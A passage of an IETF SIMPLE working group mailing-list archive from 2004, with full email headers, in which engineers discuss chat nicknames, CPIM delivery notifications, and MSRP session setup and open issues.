Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxLFk-0007Ri-00
	for simple@ietf.org; Sun, 29 Feb 2004 02:20:44 -0500
Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxLEr-0007HF-00
	for simple@ietf.org; Sun, 29 Feb 2004 02:19:49 -0500
Received: from sj-core-2.cisco.com (171.71.177.254)
  by sj-iport-3.cisco.com with ESMTP; 28 Feb 2004 23:31:04 +0000
Received: from mira-sjc5-e.cisco.com (IDENT:mirapoint@mira-sjc5-e.cisco.com [171.71.163.15])
	by sj-core-2.cisco.com (8.12.10/8.12.6) with ESMTP id i1T7JH4U029427;
	Sat, 28 Feb 2004 23:19:18 -0800 (PST)
Received: from [172.16.37.243] (sjc-vpn3-75.cisco.com [10.21.64.75])
	by mira-sjc5-e.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AMT64789;
	Sat, 28 Feb 2004 23:19:14 -0800 (PST)
User-Agent: Microsoft-Entourage/10.1.4.030702.0
From: Cullen Jennings <fluffy@cisco.com>
To: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>,
        Brian Rosen <Brian.Rosen@marconi.com>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Paul H Kyzivat <pkyzivat@cisco.com>, <hisham.khartabil@nokia.com>,
        <Miguel.An.Garcia@nokia.com>, <simple@ietf.org>
Message-ID: <BC651C8A.335B7%fluffy@cisco.com>
In-Reply-To: <403E1767.4030509@nokia.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] Chat Nicknames
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 27 Feb 2004 16:10:50 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit


I might be missing the boat here but let me ask a question that separates
stuff. 

Is there a requirement to be able to change you nickname on every message or
would it be acceptable to set up a new session if you want to change you
nickname?

It seems that the name could be set when you set up the session. If this is
the case, then the display name of the From is very clear you can put any
alias you want in it. The chat controller can tell you that name is not
acceptable thought, in practice, there is no fundamental reason you can't
have people with the same nickname and just have the conf server append
something to make them unique.

RTP/RTCP had different requirements for this because you could join a
multicast session with effectively no signaling with all the participants so
there was a need to continuously and adaptively flow the name information as
the conference changed. Since this this centralized conferencing, you can
get the names from the centralized thing.

Say two people joined with nick name of anon. The chat mixer may identify
them as anon1 and anon2 in the session and you can send a private message to
one of them by sending to location for anon2 (which would be an anonymous
perhaps on the same box as the mixing was happening on).

Cullen
 









_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 17:55:09 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA21546
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 17:55:08 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rje-0006YH-2C
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:30 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i1RM8pZs007767
	for simple-archive@odin.ietf.org; Fri, 27 Feb 2004 17:08:51 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AwqA7-000211-Fq
	for simple-web-archive@optimus.ietf.org; Fri, 27 Feb 2004 17:08:51 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA27682
	for <simple-web-archive@ietf.org>; Fri, 27 Feb 2004 17:08:47 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AwqA5-0005dv-00
	for simple-web-archive@ietf.org; Fri, 27 Feb 2004 17:08:49 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Awq9C-0005Wk-00
	for simple-web-archive@ietf.org; Fri, 27 Feb 2004 17:07:55 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Awq8b-0005PN-00; Fri, 27 Feb 2004 17:07:17 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Awq8P-0001Hj-69; Fri, 27 Feb 2004 17:07:05 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Awq82-00016v-Ms
	for simple@optimus.ietf.org; Fri, 27 Feb 2004 17:06:42 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA27531
	for <simple@ietf.org>; Fri, 27 Feb 2004 17:06:39 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Awq80-0005N6-00
	for simple@ietf.org; Fri, 27 Feb 2004 17:06:40 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Awq74-0005HL-00
	for simple@ietf.org; Fri, 27 Feb 2004 17:05:42 -0500
Received: from magus.nostrum.com ([208.21.192.130] ident=root)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Awq6q-0005BY-00
	for simple@ietf.org; Fri, 27 Feb 2004 17:05:28 -0500
Received: from dynamicsoft.com (ben@localhost [127.0.0.1])
	by magus.nostrum.com (8.12.9/8.12.9) with ESMTP id i1RM5AIw092176;
	Fri, 27 Feb 2004 16:05:17 -0600 (CST)
	(envelope-from bcampbell@dynamicsoft.com)
Message-ID: <403FBE5F.3040703@dynamicsoft.com>
From: Ben Campbell <bcampbell@dynamicsoft.com>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031205 Thunderbird/0.4
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Ben Campbell <bcampbell@dynamicsoft.com>
CC: Aki Niemi <aki.niemi@nokia.com>,
        ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Chris Boulton <cboulton@ubiquity.net>, Miguel.An.Garcia@nokia.com,
        simple@ietf.org, Eric Burger <eburger@snowshore.com>
Subject: Re: [Simple] RE: Advanced IM requirements
References: <45730E094814E44488F789C1CDED27AE0219B1BA@gbnewp0758m.eu.ubiquity.net> <403D9746.1000506@dynamicsoft.com> <403DEA0D.9000807@nokia.com> <403FB39F.2000005@dynamicsoft.com>
In-Reply-To: <403FB39F.2000005@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 27 Feb 2004 16:02:07 -0600
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Ben Campbell wrote:
> Aki Niemi wrote:
> 
>>
>> ext Jonathan Rosenberg wrote:
>>
>>>
>>>
>>>
>>> Chris Boulton wrote:
>>>
>>>> 1. it placed the URI for sending the delivery notification as a CPIM
>>>> header, not a SIP header
>>>>
>>>> <<CJB>> Out of interest, what was the driving force for this design 
>>>> choice?
>>>
>>>
>>>
>>>
>>> I believe the document talks a bit about this. It would make the 
>>> mechanism applicable to any system that uses cpim, which would 
>>> include IM sessions and in theory any other IMPP compliant IM 
>>> protocol, though since XMPP is not using it there are practically 
>>> none others.
>>
>>
>>
>> Perhaps that's a good sign that we should up a notch the place where 
>> MDNs are defined. In other words perhaps we should define the MDNs for 
>> SIP MESSAGE instead of message/cpim.
>>
>> This would enable us to request/receive delivery reports without 
>> having to wrap content in message/cpim.
> 
> 
> And it would make it harder to request delivery reports across gateways. 
> Are CPIM routers all that expensive?

Uhm, I meant CPIM wrappers. Not routers. I am willing to believe that 
CPIM routers may be expensive.

> 
>>
>> Cheers,
>> AKi
>>
>>> Of course, Eric is the author of this and is better suited to answer 
>>> the question.
>>>
>>> -Jonathan R.
>>
>>
>>
>> _______________________________________________
>> Simple mailing list
>> Simple@ietf.org
>> https://www1.ietf.org/mailman/listinfo/simple
> 
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 17:56:32 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA21842
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 17:56:32 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rjd-0006ZK-4c
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:29 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i1T7N6FV018142
	for simple-archive@odin.ietf.org; Sun, 29 Feb 2004 02:23:06 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxLI2-0004fb-0p
	for simple-web-archive@optimus.ietf.org; Sun, 29 Feb 2004 02:23:06 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA09939
	for <simple-web-archive@ietf.org>; Sun, 29 Feb 2004 02:22:50 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxLHl-0007gf-00
	for simple-web-archive@ietf.org; Sun, 29 Feb 2004 02:22:49 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxLGt-0007Zz-00
	for simple-web-archive@ietf.org; Sun, 29 Feb 2004 02:21:56 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxLGB-0007TS-00; Sun, 29 Feb 2004 02:21:11 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxLG6-0003cW-NH; Sun, 29 Feb 2004 02:21:06 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxLFn-0003Ro-Hu
	for simple@optimus.ietf.org; Sun, 29 Feb 2004 02:20:47 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA09722
	for <simple@ietf.org>; Sun, 29 Feb 2004 02:20:45 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxLFj-0007Rc-00
	for simple@ietf.org; Sun, 29 Feb 2004 02:20:43 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxLEq-0007Mk-00
	for simple@ietf.org; Sun, 29 Feb 2004 02:19:49 -0500
Received: from sj-iport-2-in.cisco.com ([171.71.176.71] helo=sj-iport-2.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxLEW-0007HB-01
	for simple@ietf.org; Sun, 29 Feb 2004 02:19:28 -0500
Received: from sj-core-1.cisco.com (171.71.177.237)
  by sj-iport-2.cisco.com with ESMTP; 28 Feb 2004 23:30:18 +0000
Received: from mira-sjc5-e.cisco.com (IDENT:mirapoint@mira-sjc5-e.cisco.com [171.71.163.15])
	by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i1T7JE1m018182;
	Sat, 28 Feb 2004 23:19:15 -0800 (PST)
Received: from [172.16.37.243] (sjc-vpn3-75.cisco.com [10.21.64.75])
	by mira-sjc5-e.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AMT64788;
	Sat, 28 Feb 2004 23:19:12 -0800 (PST)
User-Agent: Microsoft-Entourage/10.1.4.030702.0
From: Cullen Jennings <fluffy@cisco.com>
To: Ben Campbell <bcampbell@dynamicsoft.com>,
        Robert Sparks <rsparks@dynamicsoft.com>, Rohan Mahy <rohan@cisco.com>,
        Adam Roach <adam@dynamicsoft.com>
CC: <simple@ietf.org>
Message-ID: <BC6517A6.335B5%fluffy@cisco.com>
In-Reply-To: <403E7423.2000705@dynamicsoft.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Content-Transfer-Encoding: 7bit
Subject: [Simple] MSRP & Comedia
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 27 Feb 2004 15:49:58 +0900
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit


This is a half baked idea that I am just tossing out as food for thought

Consider a systems where something like the UA that sends the answer sends
the VISIT. 

Consider the cases where A want to set up a MSRP session with B.

A is behind a NAT and does not want to use a relay. A sends an INVITE with
no offer. B sends an offer, gets back an answer and A sends the VISIT.
A -> inv    -> B
A <- offer  <- B
A -> answer -> B
A -> visit  -> B

B is behind a NAT. A sends an offer and B sends an answer and A sends VISIT.
A -> offer  -> B
A <- answer <- B
A <- visit  <- B

A and B are behind NATS. A sends INVITE no offer, B knows relay is needed
and gets one and sends offer.

The underlying principal is basically if you don't know what port you are
going to receive media at (which is the case with a NAT) you should not be
making any offers and if you make an offer the assumption is that the other
side and send media (a VISIT) to that and have it work.

The fundamental thing I am trying to avoid is two vendors both saying they
have MSRP compliant systems yet still having them fail to be able to talk to
each other because they both expect the other one to host. 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 17:56:40 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA21889
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 17:56:40 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rjd-0006a4-37
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:29 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i099RCZ7016265
	for simple-archive@odin.ietf.org; Fri, 9 Jan 2004 04:27:12 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Aesv9-0004EA-Rb
	for simple-web-archive@optimus.ietf.org; Fri, 09 Jan 2004 04:27:11 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA19042
	for <simple-web-archive@ietf.org>; Fri, 9 Jan 2004 04:27:09 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aesv6-000057-00
	for simple-web-archive@ietf.org; Fri, 09 Jan 2004 04:27:08 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AestH-0007jL-00
	for simple-web-archive@ietf.org; Fri, 09 Jan 2004 04:25:16 -0500
Received: from [132.151.1.19] (helo=optimus.ietf.org)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AessW-0007ap-00; Fri, 09 Jan 2004 04:24:28 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AessV-0003UB-H3; Fri, 09 Jan 2004 04:24:27 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AesjX-0003ET-8L
	for simple@optimus.ietf.org; Fri, 09 Jan 2004 04:15:11 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA18648
	for <simple@ietf.org>; Fri, 9 Jan 2004 04:15:09 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AesjU-0007Du-00
	for simple@ietf.org; Fri, 09 Jan 2004 04:15:08 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Aesi0-00076t-00
	for simple@ietf.org; Fri, 09 Jan 2004 04:13:37 -0500
Received: from cluster-a.mailcontrol.com ([80.69.8.190] helo=rly04a.srv.mailcontrol.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Aesge-0006s0-00
	for simple@ietf.org; Fri, 09 Jan 2004 04:12:12 -0500
Received: from gbnewp0186s1.eu.ubiquity.net (news.ubiquity.net [194.202.146.92])
	by rly04a.srv.mailcontrol.com (MailControl) with SMTP id i099BOXv009762;
	Fri, 9 Jan 2004 09:11:24 GMT
Received: from mailhost.eu.ubiquity.net by gbnewp0186s1.eu.ubiquity.net
          via smtpd (for cluster-a.mailcontrol.com [80.69.8.190]) with SMTP; Fri, 9 Jan 2004 09:11:23 +0000
X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] MSRP Open Issues Revisited
Message-ID: <45730E094814E44488F789C1CDED27AE01E22F99@gbnewp0758m.eu.ubiquity.net>
Thread-Topic: [Simple] MSRP Open Issues Revisited
Thread-Index: AcPWHWmzKZkUAQ1HRwq2vZO82xsbhAAcxX+g
From: "Chris Boulton" <cboulton@ubiquity.net>
To: "Ben Campbell" <bcampbell@dynamicsoft.com>
Cc: "Simple WG" <simple@ietf.org>
X-Scanned-By: MailControl A-02-00-00 (www.mailcontrol.com)
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Fri, 9 Jan 2004 09:11:23 -0000
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable



>I sent this out back in November. We have had good discussion on some,=20
>but not all. I have added status comments for each item. It is entirely

>possible (and even likely) that I have miremembered some point, so=20
>please feel free to correct.
>
>Ben Campbell wrote:
>
>> Here is the list of significant issues and to-do's from the IETF58=20
>> meeting. At least, it is the list that I am aware of. Please send me=20
>> anything I may have missed. (Numbers are for naming purposes, and do=20
>> not indicate priority--with the exception of 1, of course. 3 Also=20
>> seems high priority due to the number of items that depend on it)
>>
>> I plan to have a new rev of the base spec out before the end of=20
>> December. That rev will include the removal of relays, and the other=20
>> issues that we have closure on. Items that require more discussion=20
>> will depend on the status of the discussion.
>>
>> -------------------------------------------------
>> 1. Remove relays from the base spec. (Saving relay text for relay=20
>> specific work, of course...) Does this mean that we have to rename=20
>> the protocol?
>
>Will be handled in an update I will send out in a day or two.
>
>>
>> 2. Remove text suggesting re-sending failed messages on the same=20
>> connection. Instead, we should close the connection and re-connect.=20
>> (See item 3...)
>
>I think we have closed on this. Will be reflected in aformentioned=20
>revision.
>
>>
>> 3. Close on handling of broken TCP connection. We discussed in the=20
>> meeting that we should be able to reconnect without having to=20
>> re-signal. (I remember now that we had discussed this before, and had

>> a good reason at that time _not_ to do this--I will attempt to=20
>> further remember the details so we can decide what currently makes=20
>> sense.)
>>
>
>I think we have closed on this. Connections cannot be re-established=20
>without a new sdp exchange. Will be reflected in aformentioned=20
>revision.
>
>> 3.5 Determine if we need explicity un-visit (interacts with 3.)
>
>I think this is still open. However, with the conclusions on 3, I am=20
>leaning towards saying we do not need it.

[Chris Boulton]I agree - If a hosting endpoint identifies a reconnect -
it would just locally 'un-visit' the client.=20

>
>>
>> 4. Do we need a cross-connection duplicate suggestion mechanism? I=20
>> think we said yes, if the new connection is part of the same session=20
>> as the old. (Needs further list discussion as it interacts with 3...)
>>
>
>I think we have agreement we need it, but not necessarily on how it=20
>works. This will be an open issue in the aformentioned revision.
>
>
>> 5. Generalize MIME handling to include mime version and allow=20
>> arbitrary MIME headers.
>
>We have agreement to do this. It will probably not be complete in=20
>forthcoming version, but will come soon after.
>
>>
>> 6. Add text specifying use of sdp send-only attributes to identify=20
>> sessions intended for one-way delivery of large content.
>
>Done in aformentioned revision.
>
>>
>> 7. Close on keep-alive handling--needs more list discussion. In=20
>> particular, do keep-alives need to be bi-directional?
>>
>
>More discussion needed. It is not clear to me that we need this at all=20
>without relays. Can we push this entirely into the relay solution?

[Chris Boulton]I'm more than happy for it to be pushed into a relay
solution.  The only reason I can think that this would be required in a
non-relay solution would be for more efficient connection failure
detection.=20=20

>
>> 8. Add more verbiage in security considerations, particularly=20
>> considering TLS certificate usage, self-signed certificates, and=20
>> interactions between TLS and digest authentication. (Cullen=20
>> volunteered to send text on TLS cert usage.) (This also interacts=20
>> with 3.)
>>
>
>Waiting for promised text.
>
>> 9. A number of nits and editorial fixes.
>>
>
>Most will be traded in for new and novel nits in the forthcoming=20
>revision.
>
>Also, Hisham added the following item:
>
>10. We need normative text about how to construct a second SDP=20
>offer/answer exchange.
>
>We have had lots of discussion on this, and have converged on most of=20
>it. We realized we had a problem where there is no good way for the=20
>active party to indicate whether an MSRP stream should be reconnected=20
>when sending a new SDP offer. Paul proposed adding a version attribute=20
>a-line, which seems like it would solve the problem. However, it is=20
>different than the current COMEDIA proposal for the same problem (a=20
>"reconnect" a-line attribute.)
>
>The upcoming revision will capture this discussion, but there will have

>an open issue on the version vs. reconnect attribute. I personally lean

>towards Paul's proposal, but I want to make sure everyone thinks=20
>through the fact that MSRP and COMEDIA may take different approaches to

>solve the same problem.
>
>


This message has been scanned for viruses by MailControl - www.mailcontrol.=
com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Tue Mar 30 17:58:40 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA22446
	for <simple-archive@odin.ietf.org>; Tue, 30 Mar 2004 17:58:40 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B8Rjb-0006Xa-Oo
	for simple-archive@odin.ietf.org; Tue, 30 Mar 2004 17:29:27 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i218Om7n028750
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 03:24:48 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxijI-0007Sn-9j
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 03:24:48 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA01407
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 03:24:31 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axij0-0004ua-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 03:24:30 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axii0-0004nD-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 03:23:29 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axih4-0004gw-00; Mon, 01 Mar 2004 03:22:30 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axih5-0006ZG-6d; Mon, 01 Mar 2004 03:22:31 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axig3-0006JJ-Fl
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 03:21:27 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA01170
	for <simple@ietf.org>; Mon, 1 Mar 2004 03:21:26 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxiRW-0003C0-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:06:26 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxiQX-00036i-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:05:25 -0500
Received: from syd-iport-1.cisco.com ([64.104.193.196])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxiPX-0002xV-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:04:24 -0500
Received: from syd-core-1.cisco.com (64.104.193.198)
  by syd-iport-1.cisco.com with ESMTP; 01 Mar 2004 00:14:09 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by syd-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i21B303K007513;
	Mon, 1 Mar 2004 19:03:03 +0800 (WST)
Received: from cisco.com (sin-vpn-client-20-17.cisco.com [10.68.20.17])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGK34799;
	Mon, 1 Mar 2004 03:03:42 -0500 (EST)
Message-ID: <4042EE5D.3090901@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: Simple WG <simple@ietf.org>
Subject: Re: [Simple] comments on prescaps - extension elements
References: <40420159.3040708@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
